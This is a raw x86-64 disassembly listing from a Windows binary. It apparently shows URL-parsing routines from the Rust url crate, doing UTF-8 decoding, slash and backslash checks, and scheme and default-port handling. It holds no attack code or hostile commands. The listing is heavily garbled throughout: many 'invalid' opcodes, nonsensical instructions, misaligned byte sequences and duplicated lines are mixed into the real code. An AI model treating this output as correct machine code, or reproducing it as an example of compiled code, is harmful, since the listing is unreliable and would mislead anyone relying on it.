mov edi, dword [rsp + 0xf8]
mov r14, qword [rsp + 0xf0]
test r14, r14
je 0x1400f7844
mov r15, qword [rsp + 0xf8]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
lea rcx, [0x1401723a0]
lea r8, [rsp + 0x70]
mov edx, 2
call fcn.1400f7fe0
test al, al
jne 0x1400f7844
mov rcx, r14
mov ecx, esi
mov dl, 4
call qword [r15 + 0x28]
mov r14, qword [rsp + 0xd8]
test r14, r14
je 0x1400f7b11
mov r9d, dword [r14 + 0x2c]
test r9, r9
je 0x1400f7b11
mov rcx, qword [r14 + 8]
mov rdx, qword [r14 + 0x10]
cmp rdx, r9
jbe 0x1400f7aec
invalid
add byte [rdx - 0x80], al
cmp al, 9
mov edi, 0x2748f0f
add byte [rax], al
cmp byte [rcx + r9], 0xbf
jg 0x1400f7af2
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
and byte [rbp + 0x31], al
shr al, 0x4e
sgdt [rax]
and byte [rbp + 0x31], al
shr al, 0x4e
sgdt [rax]
xor eax, eax
mov ecx, 0x2600
mov r15, rbx
mov r8, rbx
fmul dword [rcx + 0x39]
clc
jne 0x1400f78c2
jmp case.0x1400d8095.371
mov r10d, r9d
cmp r10d, 0x110000
jne 0x1400f7967
cmp r8, rdi
je case.0x1400d8095.371
movzx ebp, byte [r8]
movzx r9d, bpl
test r9b, r9b
js 0x1400f78d4
jrcxz 0x1400f7936
or r11d, r12d
cmp bpl, 0xf0
jb case.0x1400b984a.1079
movzx r9d, byte [r8 + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
je case.0x1400d8095.371
add r8, 4
jmp 0x1400f7948
mov r9d, r10d
mov ecx, edx
jmp 0x1400f7948
add r8, 3
shl r10d, 0xc
or r11d, r10d
mov r9d, r11d
cmp r9d, 0xd
cmp ecx, 0xd
ja 0x1400f78a9
inc dword [rcx - 0x46]
add byte [rax], al
adc dword [rax], eax
invalid
mov r10d, 0x110000
add byte [rdi + rcx - 0x5d], al
leave
bt ecx, r9d
jb 0x1400f78ac
jmp 0x1400f78a9
invalid
cmp r10d, 0x5c
je case.0x1400dc7e7.379
cmp r10d, 0x2f
jne case.0x1400d8095.371
inc eax
mov r15, r8
cmp r8, rdi
cmp eax, edi
jne 0x1400f78c2
cmp eax, 1
ja 0x1400f7cb7
invalid
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xd8
mov r12, qword [rsp + 0xd8]
test r12, r12
je 0x1400f7cb7
sbb al, 3
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x7b], cl
in al, 0xf
test byte [rbx + rax], bl
sbb al, 3
sbb al, 3
add byte [rax], al
mov r9d, dword [r12 + 0x2c]
and al, 0x2c
mov rcx, qword [r12 + 8]
test r9, r9
je 0x1400f7ca2
test ah, dh
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x75], cl
and al, 0x10
mov rax, qword [r12 + 0x10]
cmp rax, r9
jbe 0x1400f7c9c
cmp byte [rcx + r9], 0xbf
jg 0x1400f7ca2
lea edx, [0x1401722f8]
mov qword [rsp + 0x20], rdx
mov dword [rsp + 0x20], edx
mov dword [rsp + 0x20], edx
mov rdx, rax
xor r8d, r8d
call fcn.1401087e0
mov r15, qword [rsp + 0x160]
mov rax, r15
shr rax, 0x20
jne 0x1400f7aba
add byte [rax], al
mov byte [rsp + 0x1a7], 0
mov eax, 0x2600
add byte [rax], al
mov r12, rbx
jmp case.0x1400d8aa8.339
mov edx, ecx
cmp edx, 0x110000
add byte [rcx], dl
add byte [rdi], cl
jne 0x1400f7b93
cmp r12, rdi
jne 0x1400f7b93
cmp r12, rdi
cld
je 0x1400f7bf0
movzx r9d, byte [r12]
or al, 0x24
movzx ecx, r9b
test cl, cl
js 0x1400f7a2e
inc r12
jmp 0x1400f7a9e
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r12 + 1]
and al, 1
and al, 1
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400f7a83
movzx r8d, byte [r12 + 2]
and al, 2
add al, byte [rcx - 0x3f]
loop case.0x1400ca0d6.1009
shl r10d, 6
and r8d, 0x3f
invalid
or r8d, r10d
rol byte [rcx - 0x80], 1
stc
invalid
jb 0x1400f7a91
rol byte [rcx - 0x80], 1
stc
invalid
movzx ecx, byte [r12 + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
invalid
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
je 0x1400f7bf0
invalid
invalid
add byte [rcx - 0x7d], cl
invalid
add r12, 4
jmp 0x1400f7a9e
add r12, 2
shl edx, 6
or edx, r10d
mov ecx, edx
jmp 0x1400f7a9e
add r12, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
ja case.0x1400d8aa8.338
mov edx, 0x110000
bt eax, ecx
jb 0x1400f7a07
jmp case.0x1400d8aa8.338
mov rcx, qword [rsp + 0x68]
mov byte [rcx + 8], 9
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rsp + 0x150], 0
je 0x1400f7e6a
mov r8, qword [rsp + 0x158]
mov eax, dword [rsp + 0x158]
jmp 0x1400f7653
jne case.0x1400a4d60.1262
cmp r9d, 4
jne 0x1400f7b11
lea rdx, [0x14017231c]
mov r8, r9
call fcn.1401068d0
xor ecx, ecx
test eax, eax
cmove rcx, r14
invalid
invalid
jmp 0x1400f7b13
invalid
xor ecx, ecx
mov qword [rsp + 0xd0], 0
and al, 0xd0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
and al, 0xd0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rax], ah
and al, 0
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0xc0]
add byte [rax], al
movaps xmm0, xmmword [rsp + 0xc0]
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xe0], cl
add byte [rax], al
movaps xmm1, xmmword [rsp + 0xe0]
add byte [rax], al
movaps xmm2, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xa0], xmm2
movabs al, byte [0x90248c290f000000]
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
movabs al, byte [0x90248c290f000000]
nop
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xd8]
add byte [rax], al
mov qword [rsp + 0x88], rax
movaps xmmword [rsp + 0x70], xmm0
add byte [rax], al
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xd8]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x88], rax
add byte [rax], al
movaps xmmword [rsp + 0x70], xmm0
jo case.0x1400dbca2.219
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
mov r8, rbx
jmp 0x1400f7619
invalid
invalid
invalid
cmp edx, 0x2f
jne 0x1400f7bf0
pop rax
pop rax
cmp r15, qword [rsp + 0x150]
add byte [rbp + 0xd], dh
add byte [rbp + 0xd], dh
lea rcx, [rsp + 0x150]
call fcn.1400ba350
cld
invalid
and al, 0x50
add dword [rax], eax
add al, ch
movabs eax, dword [0x5824848b48fffc27]
cld
dec dword [rax - 0x75]
test byte [rax + rbx*2], ah
pop rax
cld
dec dword [rax - 0x75]
test byte [rax + rbx*2], ah
pop rax
mov rax, qword [rsp + 0x158]
mov byte [rax + r15], 0x2f
invalid
lea rax, [r15 + 1]
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x160], eax
pop rax
add dword [rax], eax
add byte [rdx - 0x3a], al
add al, 0x38
invalid
mov dword [rsp + 0x160], eax
add dword [rax], eax
add dh, al
and al, 0x70
add byte [rax - 0x77], cl
mov byte [rsp + 0x70], 0
mov qword [rsp + 0x28], rdi
jl 0x1400f7bf5
sub byte [rcx + rcx*4 + 0x64], cl
and al, 0x20
jl 0x1400f7bf5
lea rcx, [rsp + 0x150]
lea r8, [rsp + 0x70]
mov word [rax + rdx*2], fs
add dword [rax], eax
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
mov dl, 2
mov r9, r15
mov ecx, edi
mov ecx, edi
call fcn.1400f9cd0
jmp case.0x1400a4d60.1263
lea rcx, [rsp + 0x150]
mov rdx, rbx
mov r8, rdi
and al, 0x50
add dword [rax], eax
add byte [rax - 0x77], cl
fimul dword [rcx - 0x77]
clc
call fcn.1400f99c0
mov rcx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x190]
and al, 0x90
add dword [rax], eax
invalid
mov eax, dword [rsp + 0x190]
and al, 0x90
add dword [rax], eax
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0xb0
add byte [rax], al
mov qword [rsp + 0xb0], r8
movaps xmm0, xmmword [rsp + 0x150]
add byte [rdi], cl
sub byte [rsp + 0x150], al
movaps xmm1, xmmword [rsp + 0x160]
sub byte [rsp + 0x160], cl
movaps xmm2, xmmword [rsp + 0x170]
movaps xmm3, xmmword [rsp + 0x180]
add byte [rdi], cl
sub byte [rsp + 0x180], bl
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x90], edx
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
and al, 0x70
and al, 0x70
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], r15d
lea rax, [rsp + 0x1a7]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov word [rsp + 0x40], 0
lea rdx, [rsp + 0x70]
mov r8b, 2
mov r9d, r14d
call fcn.1400fae70
jmp 0x1400f7e6a
jne 0x1400f79c7
cmp r14, r9
jne 0x1400f7cb7
mov r8, r14
call fcn.1401068d0
test eax, eax
je 0x1400f7e7f
mov r12, qword [rsp + 0xf0]
test r12, r12
test esp, esp
test esp, esp
je 0x1400f7dfe
mov rsi, qword [rsp + 0xf8]
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 1
js 0x1400f7ce0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x6c], cl
add byte [rax], al
mov qword [rsp + 0x80], 0
lea r13, [rsp + 0x70]
and al, 0x70
jmp 0x1400f7cfd
lea eax, [rbp - 9]
cmp eax, 2
jae 0x1400f7d6d
cmp rbx, rdi
sti
je 0x1400f7dba
movzx edx, byte [rbx]
movzx ebp, dl
test bpl, bpl
js 0x1400f7d16
invalid
add eax, 0xebc3ff48
imul ecx, dword [rcx + 0x1fe083e8], 0x43b60f44
add dword [rcx - 0x7d], eax
loopne 0x1400f7d63
invalid
cmp bpl, 0xdf
jbe 0x1400f7d5f
invalid
xor eax, 0x24bb60f
movzx ecx, byte [rbx + 2]
add al, byte [r9 - 0x3f]
loopne 0x1400f7d38
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
invalid
cmp dl, 0xf0
cli
invalid
jb 0x1400f7d74
rol dword [rax + 0x3772f0fa], 0xf
mov dh, 0x6b
add eax, dword [rbx - 0x1f3ef820]
loopne case.0x1400df4a7.125
invalid
movzx ebp, byte [rbx + 3]
and eax, 7
shl eax, 0x12
loopne case.0x1400df4a7.125
loopne case.0x1400df4a7.125
shl ecx, 6
loope 0x1400f7d50
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x1400f7dba
vpaddw xmm0, xmm15, xmmword [rax]
add byte [rcx], dl
add byte [rcx + riz*2 + 0x48], dh
add rbx, 4
add rbx, 4
ret
jmp 0x1400f7d7f
add rbx, 2
ret
shl eax, 6
loopne 0x1400f7d6c
or eax, r8d
or eax, eax
mov ebp, eax
jmp 0x1400f7d7f
adc al, byte [rbx - 0x748bf203]
cmp ebp, 0xd
je 0x1400f7cfd
jmp 0x1400f7dba
add rbx, 3
add ebx, 3
shl eax, 0xc
or ecx, eax
mov ebp, ecx
loopne 0x1400f7d87
cmp ebp, 0x2e
jle 0x1400f7cf5
mov gs, word [rbp - 1]
invalid
invalid
mov gs, word [rbp - 1]
invalid
cmp ebp, 0x2f
je 0x1400f7d9e
cmp ebp, 0x110000
add byte [rax], al
adc dword [rax], eax
je 0x1400f7cfd
test byte [rdi + rdi*8 - 1], ah
inc dword [rbx + 0x1c755cfd]
invalid
cmp ebp, 0x5c
jne 0x1400f7dba
mov rcx, r13
mov edx, ebp
call fcn.1400f6a00
in al, dx
invalid
inc dword [rbx - 0x7bf0d003]
invalid
invalid
invalid
invalid
in al, dx
invalid
inc dword [rbx - 0x7bf0d003]
invalid
inc dword [rbx - 0x7bf0a303]
invalid
cmp ebp, 0x5c
pop rsp
je 0x1400f7cfd
mov rax, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
mov bl, 1
cmp qword [rsp + 0x80], 2
add byte [rax], al
add dh, byte [rbp + 0xd]
add byte [rax], al
add dh, byte [rbp + 0xd]
movzx ecx, word [r8]
cmp ecx, 0x2f2f
invalid
invalid
add byte [rax], al
setne bl
test rax, rax
je 0x1400f7df2
invalid
invalid
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
je 0x1400f7dfe
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [rsp + 0xc0]
test byte [rax + rax], ah
and al, 0
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xc0], al
movaps xmm1, xmmword [rsp + 0xd0]
and al, 0xd0
add byte [rax], al
add byte [rax], al
movaps xmm2, xmmword [rsp + 0xe0]
add byte [rax], al
movaps xmm2, xmmword [rsp + 0xe0]
movaps xmm3, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xa0], xmm3
and al, 0xa0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x28], esi
je 0x1400f7e73
sub dh, al
and al, 0x20
add dword [rax - 0x73], ecx
push rsp
and al, 0x70
mov rcx, qword [rsp + 0x68]
mov r8, r15
mov r9, rdi
je 0x1400f7e73
call fcn.1400f8190
add byte [rax], al
nop
add rsp, 0x1b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
loopne 0x1400f7ea9
mov qword [rsp + 0x28], r12
mov byte [rsp + 0x20], 1
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r8, rbx
jmp 0x1400f75ad
call fcn.140010b00
int3
lea r8, [0x140178fe0]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
cmp eax, 0x7377
ja 0x1400f7faa
add byte [rax], al
jne 0x1400f7f4d
mov al, 1
mov dx, 0x50
movzx eax, al
invalid
ret
rol bl, 0x81
cmp dword [rax + 0x74], ebp
je 0x1400f7fbb
je 0x1400f7f3b
xor eax, eax
movzx eax, al
mov dh, 0xc0
mov dh, 0xc0
rol bl, 0xb8
push 0x33707474
add dword [rdi], ecx
mov dh, 0x49
add al, 0x83
int1
jae 0x1400f7f6b
ret
ror dword [rdi], 0x94
sar byte [rcx + 0x1bb], 0xba
mov ebx, 0xba000001
mov ebx, 0xba000001
mov edx, 0x15
cmove edx, ecx
movzx eax, al
adc eax, 0xf000000
ror dword [rdi], 1
mov dh, 0xc0
ret
mov dh, 0x41
add al, byte [rcx - 0x7d]
invalid
or r8w, ax
je 0x1400f7fb2
movzx eax, word [rcx]
rol ax, 8
movzx r8d, ax
cmp r8d, 0x6674
je 0x1400f8004
add byte [rax], al
je 0x1400f8004
add byte [rax], al
add byte [rax], al
jne 0x1400f7fbc
movzx eax, byte [rcx + 2]
add eax, 0xffffff90
test eax, eax
sete al
movzx eax, al
ret
ror byte [rdi], 0x94
ror byte [rdi], 0xb6
rol bl, 0xb0
add dword [rsi - 0x46], esp
mov ebx, 0xc0b60f01
movzx eax, al
mov al, 1
mov dx, 0x1bb
movzx eax, al
mov dh, 0xc0
ret
xor eax, eax
cmp r8d, 0x6674
sbb eax, eax
or eax, 1
test eax, eax
sete al
movzx eax, al
mov dh, 0xc0
ret
int3
int3
push rbp
push rbx
add rdx, rcx
mov rsi, qword [r8]
mov r9, qword [r8 + 8]
mov r10d, 0x2600
jmp 0x1400f800f
mov rax, r9
mov rsi, rax
mov esi, eax
cmp r11d, edi
sti
jne 0x1400f817b
mov al, 1
cmp rcx, rdx
je 0x1400f817d
movzx ebp, byte [rcx]
movzx r11d, bpl
test r11b, r11b
js 0x1400f8030
inc rcx
jmp 0x1400f80c1
mov edi, r11d
and edi, 0x1f
invalid
movzx r14d, byte [rcx + 1]
and r14d, 0x3f
invalid
mov dh, 0x71
add dword [rcx - 0x7d], eax
out 0x3f, al
cmp r11b, 0xdf
jbe 0x1400f8084
movzx ebx, byte [rcx + 2]
shl r14d, 6
and ebx, 0x3f
or ebx, r14d
cmp bpl, 0xf0
jb 0x1400f8093
movzx r11d, byte [rcx + 3]
and edi, 7
shl edi, 0x12
shl ebx, 6
and r11d, 0x3f
or r11d, ebx
or r11d, edi
cmp r11d, 0x110000
je 0x1400f817d
add rcx, 4
jmp 0x1400f80c1
add rcx, 2
shl edi, 6
or edi, r14d
mov r11d, edi
jmp 0x1400f80c1
add rcx, 3
shl edi, 0xc
or ebx, edi
mov r11d, ebx
jmp 0x1400f80c1
mov edi, ebx
mov rsi, rax
cmp edi, 0x110000
jne 0x1400f8003
add byte [rcx], dl
add byte [rdi], cl
test dword [rdx - 1], eax
invalid
mov edi, 0x110000
cmp rsi, r9
je 0x1400f8000
lea rax, [rsi + 1]
mov qword [r8], rax
movzx r14d, byte [rsi]
movzx ebx, r14b
test bl, bl
jns 0x1400f8150
mov dh, 0x66
add dword [rcx - 0x7d], eax
in al, 0x3f
cmp bl, 0xdf
jbe 0x1400f8143
lea rax, [rsi + 3]
mov qword [r8], rax
movzx r15d, byte [rsi + 2]
shl r12d, 6
mov dh, 0x7e
add al, byte [rcx - 0x3f]
in al, 6
and r15d, 0x3f
or r15d, r12d
cmp r14b, 0xf0
jb case.0x1400dd68f.135
lea rax, [rsi + 4]
mov qword [r8], rax
movzx ebx, byte [rsi + 3]
and ebp, 7
shl ebp, 0x12
shl r15d, 6
and ebx, 0x3f
or ebx, r15d
or ebx, ebp
cmp ebx, 0x110000
jne 0x1400f8150
adc ch, cl
sar dh, 0xff
inc ecx
in eax, 6
jmp 0x1400f8003
shl ebp, 6
or ebp, r12d
mov ebx, ebp
nop dword [rax + rax]
add byte [rax], r8b
cmp ebx, 0xd
ja 0x1400f80b0
invalid
inc dword [rcx + 0xf]
movabs dword [0xe9ffffff4f820fda], eax
invalid
bt r10d, ebx
jb 0x1400f80b2
jmp 0x1400f80b0
shl ebp, 0xc
or r15d, ebp
or edi, ebp
or edi, ebp
out dx, eax
mov ebx, r15d
cmp ebx, 0xd
jbe 0x1400f8159
jmp 0x1400f80b0
xor eax, eax
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
int3
int3
mov esi, ecx
mov r15, r8
mov rsi, rdx
mov qword [rsp + 0x128], rcx
mov rdi, qword [rdx + 0x10]
cmp rdi, qword [rdx]
cmp edi, dword [rdx]
cmp edi, dword [rdx]
jne 0x1400f81c5
mov rcx, rsi
call fcn.1400ba350
mov rax, qword [rsi + 8]
mov byte [rax + rdi], 0x2f
lea rax, [rdi + 1]
mov qword [rsi + 0x10], rax
adc byte [rax + 0x3b], cl
invalid
jne 0x1400f81e2
adc byte [rax + 0x3b], cl
invalid
mov rcx, rsi
call fcn.1400ba350
mov rax, qword [rsi + 8]
mov byte [rax + rdi + 1], 0x2f
add rdi, 2
mov qword [rsp + 0xa8], rdi
mov qword [rsi + 0x10], rdi
mov r12, qword [rsi + 0x30]
mov qword [rsp + 0x90], rsi
mov rdi, qword [rsi + 0x38]
xor ebx, ebx
lea r13, [0x140178ff0]
mov ebp, 0x2600
mov rsi, r15
xor eax, eax
mov qword [rsp + 0x98], rax
cmp rsi, r14
jne 0x1400f8247
jmp 0x1400f8384
mov ecx, eax
cmp ecx, 0x110000
jne 0x1400f830a
cmp rsi, r14
je 0x1400f8384
movzx r8d, byte [rsi]
movzx eax, r8b
test al, al
js 0x1400f8270
inc rsi
cmp eax, 0xd
jbe 0x1400f82f0
jmp 0x1400f8230
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rsi + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x1400f82c3
movzx edx, byte [rsi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x1400f82d9
movzx eax, byte [rsi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x1400f8384
add rsi, 4
cmp eax, 0xd
jbe 0x1400f82f0
jmp 0x1400f8230
add rsi, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
cmp eax, 0xd
jbe 0x1400f82f0
jmp 0x1400f8230
add rsi, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
cmp eax, 0xd
ja 0x1400f8230
nop dword [rax]
mov ecx, 0x110000
bt ebp, eax
jae 0x1400f8230
invalid
invalid
invalid
cmp ecx, 0x110000
je 0x1400f823e
lea eax, [rcx - 0x23]
cmp eax, 0x1d
ja 0x1400f835a
movsxd rax, dword [r13 + rax*4]
add rax, r13
jmp rax
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax], al
cmp rsi, r14
add byte [rax], al
cmp rsi, r14
jne 0x1400f8247
jmp 0x1400f8384
cmp ecx, 0x5c
jne case.0x1400dc7e7.492
cmp byte [rsp + 0x1a0], 2
jne 0x1400f8384
add byte [rax], al
add dh, byte [rbp + 0x1b]
mov rax, qword [rsp + 0x98]
inc ebx
mov qword [rsp + 0x98], rax
cmp rsi, r14
jne 0x1400f8247
mov rdi, qword [rsp + 0x98]
mov edi, dword [rsp + 0x98]
test rdi, rdi
je 0x1400f870c
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rbp - 0x7b], al
ror byte [rax - 0x75], cl
pushfq
and al, 0x90
add byte [rax], al
add byte [rdi], cl
test r10d, r10d
mov rbx, qword [rsp + 0x90]
je case.0x1400dc4eb.319
invalid
xchg esp, eax
add eax, dword [rax]
invalid
test byte [rbx + rax - 0x71f10000], dl
mov ebx, 0x31000004
ror byte [rax - 0x77], 0x44
mov qword [rsp + 0x70], rax
jle 0x1400f8867
xor eax, eax
mov qword [rsp + 0x70], rax
mov esi, 0x2600
mov rbp, qword [rsp + 0xa8]
mov r12, rbp
xor eax, eax
mov qword [rsp + 0xb0], rax
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rbp + 0x31], al
fucomi st(3)
invalid
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rbp + 0x31], al
fucomi st(3)
nop word [rax + rax]
test byte [rsp + 0xb0], 1
add byte [rcx], al
mov rax, qword [rsp + 0x70]
movzx eax, al
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
cmove eax, ecx
mov qword [rsp + 0x70], rax
mov rdi, qword [rsp + 0xb8]
mov r11d, dword [rsp + 0xa0]
movabs al, byte [0xff83ff478d000000]
add dword [rcx - 0x77], eax
ret 0x8e0f
push 4
add byte [rax], al
movabs al, byte [0xff83ff478d000000]
add dword [rcx - 0x77], eax
ret 0x8e0f
mov qword [rsp + 0xb8], r10
cmp r15, r14
mov eax, 0x4d000000
cmp edi, esi
je 0x1400f98b2
mov rax, r15
movzx edx, byte [rax]
movzx r8d, dl
ret 0x8445
invalid
js 0x1400f8450
ret 0x8445
lea r15, [rax + 1]
lea edi, [rax + 1]
cmp r8d, 0xd
jbe 0x1400f84d0
add byte [rax - 0x7c3e76bc], dl
loope 0x1400f8475
mov ecx, r8d
and ecx, 0x1f
movzx r9d, byte [rax + 1]
and r9d, 0x3f
mov dh, 0x48
add dword [rcx - 0x7d], eax
loope 0x1400f849e
cmp r8b, 0xdf
jbe 0x1400f849f
fbstp tbyte [rsi + 0x3a]
movzx r8d, byte [rax + 2]
shl r9d, 6
invalid
and r8d, 0x3f
invalid
or r8d, r9d
enter 0xfffffffffffffa80, 0xfffffffffffffff0
cmp dl, 0xf0
jb 0x1400f84b4
lea r15, [rax + 4]
movzx edx, byte [rax + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
shl eax, 6
shl eax, 6
and edx, 0x3f
or edx, r8d
or edx, ecx
mov r8d, edx
cmp r8d, 0xd
invalid
jbe 0x1400f84d0
invalid
or eax, 0x51eb3376
jmp 0x1400f84f0
push rcx
lea r15, [rax + 2]
shl ecx, 6
invalid
or ecx, r9d
mov r8d, ecx
mov eax, ecx
invalid
mov eax, ecx
cmp r8d, 0xd
jbe 0x1400f84d0
jmp 0x1400f84f0
lea r15, [rax + 3]
js 0x1400f84bb
shl ecx, 0xc
loope 0x1400f84c7
or r8d, ecx
cmp r8d, 0xd
invalid
ja 0x1400f84f0
or eax, 0x66662c77
nop word cs:[rax + rax]
nop word cs:[rax + rax]
bt esi, r8d
jae 0x1400f84f0
invalid
sbb cl, byte [rcx + rcx*4 - 8]
mov rax, r15
cmp r15, r14
jne 0x1400f8430
jmp 0x1400f98b2
cmp r8d, 0x110000
cmp eax, 0x110000
je 0x1400f98b2
adc eax, dword [rax]
add byte [rcx - 0x43], al
add dword [rax], eax
add byte [rax], al
mov r13d, 1
cmp r8d, 0x80
jb 0x1400f852c
add byte [rax], 0
add byte [rdx + 0x20], dh
mov r13d, 2
add byte [rax], al
add byte [rcx - 0x7f], al
clc
add byte [rax], cl
add byte [rax], al
cmp r8d, 0x800
jb 0x1400f852c
cmp r8d, 0x10000
add byte [rax], al
add dword [rax], eax
mov r13d, 4
sbb r13, 0
sbb ebp, 0
add byte [rax], al
add byte [rcx - 0x7d], cl
sbb ebp, 0
sbb ebp, 0
mov rdx, r14
sub rdx, rax
cmp r13, rdx
jae 0x1400f8550
invalid
cmp byte [rax + r13], 0xbf
jg 0x1400f8556
add byte [rax], al
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
jne 0x1400f9904
scasb al, byte [rdi]
adc eax, dword [rax]
add byte [rcx - 0x7f], al
clc
cmp r8d, 0x110000
add byte [rax], al
adc dword [rax], eax
je 0x1400f98b2
cmp ebx, 1
je 0x1400f85e0
mov rax, rbp
shr rax, 0x20
call 0x160f846be
jne 0x1400f895e
mov rdi, qword [rsp + 0xb8]
cmp edi, 1
add dword [rdi], ecx
test byte [rcx], ah
add eax, dword [rax]
invalid
add dword [rdi], ecx
test byte [rcx], ah
add eax, dword [rax]
add byte [rax + 0x3b], cl
cmp rbp, qword [rbx]
jne 0x1400f859a
cmp rbp, qword [rbx]
jne 0x1400f859a
mov rcx, rbx
call fcn.1400ba350
mov rax, qword [rbx + 8]
mov byte [rax + rbp], 0x3a
mov r12, rbp
inc r12
mov qword [rbx + 0x10], r12
mov dword [rbx + 0x10], esp
mov dword [rbx + 0x10], esp
mov al, 1
mov qword [rsp + 0xb0], rax
mov r11d, 1
mov qword [rsp + 0x130], rbp
mov rbp, r12
mov ebp, esp
mov ebp, esp
lea eax, [rdi - 1]
cmp edi, 1
mov r10d, eax
jg 0x1400f841c
invalid
invalid
invalid
invalid
invalid
jmp 0x1400f8886
add byte [rax], r8b
mov dword [rsp + 0xa0], r11d
mov rcx, qword [rbx + 0x30]
mov rdx, qword [rbx + 0x38]
push rbx
cmp byte [rcx + rcx*4 + 0x74], cl
and al, 0x20
push rbx
cmp byte [rcx + rcx*4 + 0x74], cl
and al, 0x20
mov rdi, rax
mov r9, r15
call fcn.1400fdf70
mov rdx, rdi
jmp case.0x1400db908.341
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
ret 0xff49
invalid
inc rdx
dec r13
dec ebp
dec ebp
mov rbp, rdx
lea rax, [rax + rax*2]
lea rcx, [0x14013c085]
add al, 0
add al, 0
add rax, rcx
add eax, ecx
mov rdi, r13
mov r13d, 3
add byte [rax], al
add byte [rax], al
mov rdx, rax
mov rax, qword [rbx]
sub rax, r12
cmp rax, r13
cmp eax, ebp
cmp eax, ebp
jb 0x1400f86e7
mov rcx, qword [rbx + 8]
add rcx, r12
or byte [r9 + r8 - 0x1f], cl
or byte [rcx + rax - 0x1f], cl
mov r8, r13
mov eax, ebp
call fcn.140106250
add r12, r13
add esp, ebp
mov qword [rbx + 0x10], r12
mov r13, rdi
mov rdx, rbp
mov rbp, r12
invalid
invalid
in eax, 0x4d
test ebp, ebp
test r13, r13
lea r10, [0x140172420]
je 0x1400f83e0
